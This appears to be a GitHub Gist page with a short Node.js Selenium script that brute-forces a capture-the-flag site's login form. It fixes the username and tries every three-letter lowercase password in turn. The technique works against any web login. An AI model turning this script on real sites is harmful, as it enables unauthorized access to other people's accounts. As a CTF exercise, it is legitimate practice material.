Last active
April 18, 2021 20:17
-
-
Save thepushkarp/5de3b3517055bd5fae5e1351441f461a to your computer and use it in GitHub Desktop.
ctf1.js
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
const { Builder, By, Key } = require("selenium-webdriver"); | |
async function sleep(ms) { | |
return new Promise((resolve) => setTimeout(resolve, ms)); | |
} | |
async function breakCtf() { | |
console.log("Breaking CTF..."); | |
const driver = await new Builder().forBrowser("chrome").build(); | |
// Open the Home Page | |
await driver.get("https://iiitv-ctf-mains.surge.sh/"); | |
// Wait for 3 second | |
await sleep(3000); | |
// Find the username input box and ente rusername | |
usrName = "pupa"; | |
const usernameLocator = await driver | |
.findElement(By.id("username")) | |
.sendKeys(usrName); | |
console.log("Username entered"); | |
// Password input box | |
const pwdLocator = await driver.findElement(By.id("password")); | |
// Signin Button | |
const signInBtn = await driver.findElement(By.className("btn-signin")); | |
// Signin Form | |
const signInForm = await driver.findElement(By.className("form-signin")); | |
// Array of letters | |
var letters = "abcdefghijklmnopqrstuvwxyz".split(""); | |
// Bruteforce | |
for (var lttr1 of letters) { | |
for (var lttr2 of letters) { | |
for (var lttr3 of letters) { | |
await pwdLocator.clear(); | |
var pwd = lttr1 + lttr2 + lttr3; | |
await pwdLocator.sendKeys(pwd); | |
console.log(pwd); | |
await signInBtn.click(); | |
// signInBtn.sendKeys(Key.chord(Key.CONTROL, Key.ENTER)); | |
// signInForm.submit(); | |
} | |
} | |
} | |
} | |
breakCtf(); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
I might not write the most elegant JS code. Contributions are welcome!